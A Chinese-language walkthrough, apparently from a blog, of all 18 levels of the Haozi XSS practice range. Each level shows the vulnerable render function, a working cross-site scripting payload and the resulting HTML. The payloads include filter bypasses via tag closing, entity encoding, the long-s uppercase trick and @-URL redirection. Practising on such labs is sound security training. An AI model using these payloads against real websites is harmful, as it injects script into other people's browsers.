黑客笔记06:耗子信息安全靶场XSS跨站脚本攻击通关攻略,共18关

357 阅读2分钟

耗子XSS靶场地址:xss.haozi.me/

github源代码地址:github.com/haozi/xss-d…

最开始命名一个昵称。

第0关

服务端代码,没有任何过滤

xss.test/?input=

function render (input) {
  return '<div>' + input + '</div>'
}

通关payload

<script>alert(1)</script>

攻击效果

<div><script>alert(1)</script></div>

第1关

服务端没有过滤,textarea标签可以被闭合。

xss.test/?input=

服务端代码

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

通关payload

</textarea><script>alert(1)</script><textarea>

攻击效果

<textarea></textarea><script>alert(1)</script><textarea></textarea>

第2关

将value转化为字符串

xss.test/?input=

服务端代码

function render (input) {
  return '<input type="name" value="' + input + '">'
}

通关payload

"><"<script>alert(1)</script>>

攻击效果

<input type="name" value=""><"<script>alert(1)</script>>">

第3关

借助正则表达式过滤圆括号和方括号。

服务端代码

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

通关payload

<script>alert`1`</script>

攻击效果

<script>alert`1`</script>

第4关

svg标签中可以直接执行html实体编码字符,圆括号、方括号、反引号已经被过滤。

服务端代码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

通关payload

<svg><script>alert&#40;1&#41;</script>

攻击效果

<svg><script>alert&#40;1&#41;</script>

第5关

过滤注释符,涉及对称注释和非对称注释。

服务端代码

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

通关payload

--!><script>alert(1)</script>

攻击效果

<!-- --!><script>alert(1)</script> -->

第6关

auto或on开头的标签而且=或>结尾的属性替换成下划线。

Javascript通常以分号结尾,有换行符可以绕过

服务端代码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

通关payload

type="image" src="xxx" onerror

="alert(1)"

攻击效果

<input value=1 type="image" src="xxx" onerror

="alert(1)" type="text">

第7关

标签不闭合绕过

服务端代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

通关payload

<img src="xxx" onerror="alert(1)"

攻击效果

<article><img src="xxx" onerror="alert(1)"</article>

第8关

style标签被过滤,可以使用换行符、空格、制表符绕过

服务端代码

    function render (src) {
      src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
      return `
        <style>
          ${src}
        </style>
      `
    }

通关payload

</style
><img src="xxx" onerror="alert(1)"

攻击效果

<style>
      </style
><img src="xxx" onerror="alert(1)"
    </style>

第9关

输入URL并闭合引号绕过

服务端代码

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

通关payload

https://www.segmentfault.com/?id=123456><""img src="xxx"onerror=alert(1)>

攻击效果

<script src="https://www.segmentfault.com/?id=123456><""img src="xxx"onerror=alert(1)>"></script>

第10关

@符号跳转绕过

服务端代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

通关payload

https://www.segmentfault.com@xss.haozi.me/j.js

攻击效果

<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js
"></script>

第11关

html实体编码绕过

服务端代码

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

通关payload

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

攻击效果

<h1><IMG SRC="X" ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;></h1>

第12关

script替换为空,且不论大小写

服务端代码

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

通关payload

<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>

攻击效果

<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT>></h1>

第13关

//是js的单行注释符,可以通过换行来绕过,再用-->将后面的')注释掉。

服务端代码

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

通关payload


alert(1);
-->

攻击效果

<script>
          // alert('
alert(1);
-->')
    </script>

第14关

ſ字符,是古英语中s的写法,ſ转换为大写后正好为S。

服务端代码

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

通关payload

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

攻击效果

<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>

第15关

input在img标签内,html实体编码可以被直接解析。

服务端代码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

通关payload

');alert('1

攻击效果

<img src onerror="console.error('&#39;);alert(&#39;1')">

第16关

window是浏览器的窗口

服务端代码

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

通关payload

'';alert(1)

攻击效果

<script>
  window.data = '';alert(1)
</script>

第17关

"被转义成"正好可以闭合console.log("")。

服务端代码

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

通关payload

"),alert(1)("

攻击效果

<script>
  var url = 'javascript:console.log("\"),alert(1)(\"")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

第18关

"替换为\"

服务端代码

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

通关payload

\");alert(1);</script>

攻击效果

<script>console.log("\\");alert(1);</script>");</script>